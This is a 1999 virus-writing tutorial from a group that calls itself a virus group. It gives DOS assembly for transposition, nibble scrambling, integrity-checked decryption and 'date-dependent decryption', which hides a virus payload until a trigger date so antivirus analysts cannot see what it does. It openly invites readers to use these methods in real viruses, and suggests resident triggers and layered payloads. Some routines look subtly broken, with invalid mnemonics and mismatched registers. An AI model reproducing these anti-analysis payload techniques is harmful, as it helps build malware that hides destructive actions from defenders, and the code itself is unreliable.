An Introduction to Encryption, Part II
By MidNyte[UC]

[March 1999 ]

[see also: Part I]


Introduction.

Ok, if you're reading this I hope you have also read part I. If not, I hope you know enough already for this to make sense. In this part, I'll give you some ways of making your data as secure as possible, along with a few ways of reducing the amount of code you require to encrypt and decrypt something securely. As before, I will leave the tutoring of armouring to people better qualified to teach (I've only dabbled in the subject so far). It will be up to you to take the routine you have made from this tutorial and armour it sufficiently to make all the work you put in worth anything.

VLT - Variable Length Transposition.

This technique is best used more than once, and with some other form of encryption. The example code I have included for this technique is the subroutine that does the reversal only. You will need to supply it with the starting offset of the bytes and the number of bytes to scramble. You will also need to keep track of the number of bytes swapped each time, so that it can be reversed. I will demonstrate a method to avoid this drawback later. The routine uses the stack to push the bytes in order. Normally when using the stack you have to reverse the order of the pops to restore the original order of the data, but in this case that's exactly what we don't want. After the pushes, we're going to pop in the same order, which will therefore reverse the original order of the bytes. The strength of this encryption lies in the number of times it is repeated, aswell as a good choice of the size range of the chunks reversed. If you reverse chunks of data that are too large, you will see snippets of code that have remained intact. If the chunks are too small, none of the code will be very far from it's original position so some clues will be present, for example, if a text string is present within the code. I have found the best way to use this encryption is to use a random amount of characters (2-10) for each chunk, and run through the scrambling routine at least three times. This does however leave a table of unscrambling instructions almost the same size as the actual code (not a good thing). Good results can also be attained by using first one number constantly then run again with another number, but have these numbers chosen carefully to make the scrambling appear very random. (ie, scramble once using groups of 3, then again with groups of 4, then a final time with groups of 9. These numbers have no common factors and give a fairly good scrambling without the need for a table.) A further advancement would be to use 3 then 4 then 9 repeatedly on the first run, then on the second use 4 then 9 then 3. When using this method, you will need an overrun buffer at the end of the encrypted section.

;Sub-routine to reverse order of X bytes

;called with:
;di=start of bytes to reverse
;cx=number of bytes to reverse

;requires:
;stack space of at least double cx

;returns:
;ax=destroyed, cx=0, di=si=offset of next byte, bx=number of bytes reversed

   mov si,di

start_pushes:
   mov bx,cx		;save count
   lodsb		;[si] to al
   push ax		;ah is pushed but just ignored
   loop start_pushes
   mov cx,bx		;restore count
   
start_pops:
   pop ax
   stosb		;al to [di]
   loop start_pops

done:
   ret

The following routine has been adapted to push word sized values, as pushing word sized data but only using only one byte is a waste of stack space. (We are still however, reversing every byte, not just every word.) The modification is straightforward, just a change to the load and store commands and a simple swap of the low and high order bytes before the word is pushed. This way each word is pushed 'backwards' onto the stack, ready to come of in the reverse order. You will now have to use even sized blocks of data, but you have the advantage of halving the stack size required. A simple NOP at the end of the code will suffice as a buffer.

;Sub-routine to reverse order of X words

;called with:
;di=start of words to reverse
;cx=number of words to reverse

;requires:
;stack space of at least cx

;returns:
;ax=destroyed, cx=0, di=si=offset of next word, bx=number of bytes reversed

   mov si,di

start_pushes:
   mov bx,cx	;save count
   lodsw	;[si] to ax
   xchg ah,al	;to reverse order of bytes in word
   push ax
loop start_pushes
   mov cx,bx	;restore count
   
start_pops:
   pop ax
   stosw	;ax to [di]
   loop start_pops

done:
   ret

Boundary Scrambling.

This is a very simple but effective method of destroying the normal byte boundaries (the point where one byte stops and the next starts). All we're doing here is swapping the high nibble of one byte for the low nibble of the next. We need a dummy value at either end to ensure encryption of all of the bytes. (it's a dead give-away if you use zero for the dummies, by the way, I'll use that in the example to show you why and to make it easier to see what we're swapping). Note: A nibble is half a byte or four bits, for those who didn't know.) If you use a hex editor to view random bytes before and after scrambling you'll notice that the nibbles are displayed as a single character (ie, in the byte FF in hexadecimal (256 decimal), each F is a nibble). You can use a hex editor to quickly check that the boundry scrambling is working as it should by scrambling values such as ABh, and watching for it to change to BAh. A quick diagram of how the scrambling looks in binary:

  00000000 11111111 11111111 00000000  <--      Each of these is a byte
                                                (in binary) before scrambling
  00001111 00001111 11110000 11110000  <--      This is the sequence after
        \   /    \   /    \   /		        boundary scrambling
         \ /      \ /      \ /             <--- The three swaps made by 
                                                the scrambler



;Sub-routine to scramble byte boundries

;called with:
;si=start of bytes to scramble
;dx=number of bytes to scramble (including

;returns:
;ax,bx,cx,dx,si,di=destroyed

   mov di,si

start:
   lodsw			;load a word
   dec si			;but only advance by a byte
   mov bx,ax			;make a copy of the word
   and bx,1111000000001111b	;only store the nibbles that will remain
                                ;unchanged this loop
   and ax,0000111111110000b	;remove nibbles stored in bx from ax
   mov cl,4
   shr ah,cl			;move high nibble to low nibble position
   shl al,cl			;move low nibble to high nibble position
   xchg al,ah			;swap nibbles
   or ax,bx			;combine swapped and untouched nibbles
   stosw			;put back word
   dec di			;advance only by a byte
   dec dx
   jnz start

done:
   ret

To improve upon this technique, you could also encrypt the word you've just loaded into ax with a rolling key just before you swap nibbles. (remember to undo this after you've swapped nibbles when decrypting). This will mean each byte will be encrypted twice each time through the loop, plus all the normal boundaries will be destroyed. This is a huge improvement over simple XOR encryption.

IDD - Integrity-Dependant Decryption.

This is a system for checking the integrity of your encrypted data. If it's been corrupted or tampered with you'll know and can then decide to whether to quit, crash, jump to payload etc. It's basically a system that uses the value of the previous decrypted byte to decrypt the next. It keeps a checksum so you know if it has been decrypted correctly or not. You will need to work this checksum out when encrypting. A diagram is in order to show the specific details of encryption. It will be easier to understand if I show you how the decryption works first, and then show you how to encrypt the data specifically for that decryptor.

          X A B C D E  <--  A-E is your code, X is a key value

To decrypt, the value of X is used to decrypt A. The unencrypted value of A is then SUB'ed from the value of X, and the new value of X is used to decrypt B. This goes on all through. You can see that if any of the bytes were corrupted (accidentally or not), they would incorrectly alter the value of the key (X) at that point, and all the bytes that followed would be decrypted incorrectly. This would be shown when X is checked after decryption.

;Sub-routine to decrypt using IDD

;called with:
;si=start of bytes to decrypt (including key)
;cx=number of words to decrypt (not including key)

;returns:

   mov si,di
   lodsw
   mov dx,ax	;store key in dx
   push si	;save this address for returning

start:
   lodsw		;load word
   xor ax,dx	;decryption operation
   sub dx,ax	;take new value away from key
   stosw		;put back word
   loop start

check:
   cmp dx,0
   je done:
   int 20h	;or whatever you want to do if the decryption hasn't worked

done:
   pop si	;jump to si to run the unencrypted code
                ;(the first word is a key, not code)
   ret

To encrypt for this system, we must create a checksum by altering the key as we go. In the decryption we subtracted the unencrypted value from the current key value to get the new value, the key ending with zero. To encrypt for this, we simply start with zero and add the value we're going to encrypt to the key value before we encrypt it. The key must then be written before the encrypted code as the key value. When encrypting code, make sure you have a nul word before the code to accommodate the key value, and don't forget to copy the key along with the rest of the code.

;Sub-routine to encrypt using IDD

;called with:
;di=end of bytes to encrypt
;dx=number of words to encrypt

;returns:
;di=start of code & key

   mov si,di
   mov dx,0
   sdi		;set direction flag

start:
   lodsw
   add dx,ax
   xor ax,dx
   stosw
   loop start

   save_key
   mov ax,dx
   stosw

   done:
   ret

DDD - Date Dependant Decryption.

This is a system that I have developed that is similar to RDA, but has an interesting twist (as far as I know this hasn't been done before). Instead of using a random number which is worked out each time, you use the components of the Time and Date for when you want the code section to run. This of course limits the usefulness of DDD to payloads, but makes it a lot harder to break than RDA. Quite simply, when writing the routine, you use the time and date of activation to encrypt the code, making a checksum as you go. This code is then decrypted with the current time and date each time it's run, and if the generated checksum is right, control passes to the decrypted routine. This will happen only on the date and time it was intended, (ie the date and time used to encrypt it). Simply patching the program to execute the DDD encrypted section whether the checksum matches or not will result in incorrectly decrypted code (ie, gibberish) being run. This will almost certainly lead to a crash. Encrypting a payload using DDD means that a brute force method must be used to decrypt it, no other method will work. When used as a virus payload, AV companies must either spend time brute forcing the encryption, or admit to the public that they don't know what the payload actually does.

The following routines are a simple DDD routine maker, and the output of that routine made into a functional program. This is a very simple version, having only 365 combinations to brute force. It is left to the reader to improve on this design, as there are too many ways it can be changed. A few possibilities are outlined below to get you started. Please note the way the delta offset has to be determined differently to normal, because of the way the routine is generated independantly of the virus.

I have written a small routine to take some of the hassle out of creating a DDD routine. It turns the created data into the assembly declaration equivalent, ie 'int 21h' becomes '0CDh,021h'. Simply cut and paste into your code as 'db 0CDh,021h'.

-NOTE-

;DDD Routine Maker

code segment
     assume cs:code,ds:code
     org 100h
    
start:
   mov dh,07d				;DH=Month to work
   mov dl,19d				;DL=Day to work
   mov cx,offset ddd_end - offset ddd_start
   mov si,offset ddd_start
   mov di,si
   xor bx,bx
   xor ax,ax

ddd_loop:
   lodsb
   add bx,ax		;make checksum from un-encrypted values
   xor al,dl		;xor with today's day
   add al,dh		;add today's month
   stosb
   loop ddd_loop

   mov ax,bx
   stosw		;stores key at the end

convert:
   mov di,offset buffer
   mov si,offset ddd_start

next_char:
   cmp si,offset ddd_end+2	;=2 for the key
   je done

   mov al,030h
   stosb		;ascii zero

   lodsb
   push ax
   and al,11110000b
   mov cl,4
   shr al,cl
   call write_char

   pop ax
   and al,00001111b
   call write_char

   mov al,068h		;'h'
   stosb
   mov al,02ch		;','
   stosb
   jmp next_char

write_char:
   cmp al,0ah
   jae alpha

   add al,030h		;to make ascii number
   stosb
   ret

alpha:
   add al,055d		;to make ascii letter
   stosb
   ret

done:
   mov ax,3c00h		;create new file
   mov dx,offset filename
   xor cx,cx
   int 21h

   xchg ax,bx
   mov ax,4000h		;write ddd section
   mov dx,offset buffer
   mov cx,di
   sub cx,dx		;length
   int 21h

   mov ax,3e00h		;close file
   int 21h

   int 20h

ddd_start:

   call find_delta

find_delta:
   pop dx
   add dx,offset message - offset find_delta
   mov ah,9h
   int 21h
   int 20h
   message db 10,13,'Aren''t you glad this didn''t'
           db 'trash your hard drive?',10,13
           db '                                   '
           db '   -MidNyte[UC]',10,13,'$'

ddd_end:

key_place_marker dw 0h		;needed to stop 'dd' of next string
;being overwritten!

filename db 'dddout.asm',0

buffer:

code ends
     end start

The above produces the db section in the virus-ready routine below. The below routine will work correctly when the date is 19/07/1999.

code segment
     assume cs:code,ds:code
     org 100h
    
start:
   mov ah,2ah				;get system date
   int 21h				;DH=Month, DL=Day, CX & AX 
ignored
   mov cx,(offset ddd_end - offset ddd_start)-2		;number of bytes 
minus the key
   mov si,offset ddd_start
   mov di,si
   xor bx,bx
   xor ax,ax

ddd_loop:
   lodsb
   sub al,dh
   xor al,dl
   add bx,ax		;make checksum from un-encrypted values
   stosb
   loop ddd_loop
   lodsw		;this should now be the key stored at the end
   cmp bx,ax		;compare with checksum
   je ddd_start		;equal if date is correct

   int 20h

ddd_start:
   db 002h,01Ah,01Ah,050h,097h,0D8h,01Fh,08Ah,0AEh
   db 021h,0E5h,039h,0E5h,03Ah,020h,025h,059h,068h
   db 07Dh,084h,03Bh,06Eh,03Ah,071h,083h,06Dh,03Ah
   db 07Bh,086h,079h,07Eh,03Ah,06Eh,082h,081h,067h
   db 03Ah,07Eh,081h,07Eh,084h,03Bh,06Eh,03Ah,06Eh
   db 068h,079h,067h,082h,03Ah,071h,083h,06Dh,068h
   db 03Ah,082h,079h,068h,07Eh,03Ah,07Eh,068h,081h
   db 06Ch,07Dh,033h,020h,025h,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,045h,065h
   db 081h,07Eh,064h,071h,06Eh,07Dh,04Fh,04Dh,057h
   db 055h,020h,025h,03Eh,00Bh,021h
ddd_end:

code ends
     end start

This is an advancement on the virus carrying around the key, but with only 365 possibilities we are not very secure yet, it wouldn't take much to brute force. There are many ways to improve this system and I want to outline a few here, but it's really up to you to improve the system in your own unique way as these are only pointers. We could evolve DDD to include the Hour of the day too giving us 8760 possibilities, but then you're drastically cutting down the chances of it actually ever happening. Then again this could be exactly what you want for your payload anyway, making it a real rarity to give the virus some character. We could also add minutes into the equation, giving us over half a million possible encryptions, but for a runtime virus this would be pushing the 'rare activation' idea a bit too far. We could get round this by making the DDD section resident (even if the virus isn't) and running it once a minute maybe? That way it's going to run if the computer is on (without slowing it down too much), but anyone who wants to know what the routine has in store for them is going to have to brute force check 525,600 combinations. It may also be worth slowing down the decryption process (through adding extra loops of decryption for instance) by as much as possible (without being visibly slower for a single run). This will make the brute force cracking time even longer.

Is there any reason why DDD should be Date/Time dependant? Why not make it dependant on the first few characters in the 'autoexec.bat' file. Maybe anyone with the first line starting with 'REM' should see your payload. Just encrypt with the ordinal values of 'R', 'E' and 'M', and let the DDD read in and use the first three characters of the autoexec file to decrypt. Or how about a IOS setting? or a particular version of software? Any virus can do that, but when it checks it gives away what it's looking for to anyone who is disassembling it, DDD will not.

How about multiple layers of DDD? One DDD routine will, on the right date, decrypt and run a routine that writes a new routine over the old. This second routine could be set to a different date, or set to some other criteria, or set to be a TSR checker (stronger) when the first was not. Then you have a slim chance of 'enabling' a payload that itself can be as rare or common as you like. In this way it's possible to have a routine that runs once a day after a certain date, but still be secure until that date.

Conclusion.

Thus concludes today's lesson. I hope it's been of some use. I'll probably write a Part III sometime, but if so, it won't be for a while yet. If you have any advancements on any of these techniques or you ever use them in an actual virus, I'd love to hear about it.

- MidNyte [Ultimate Chaos Virus Group]

As always, I welcome ANY feedback, good or bad, as long as it is reasonable.

midnyte01@excite.com | www.ultimatechaos.org/midnyte | surf.to/midnyte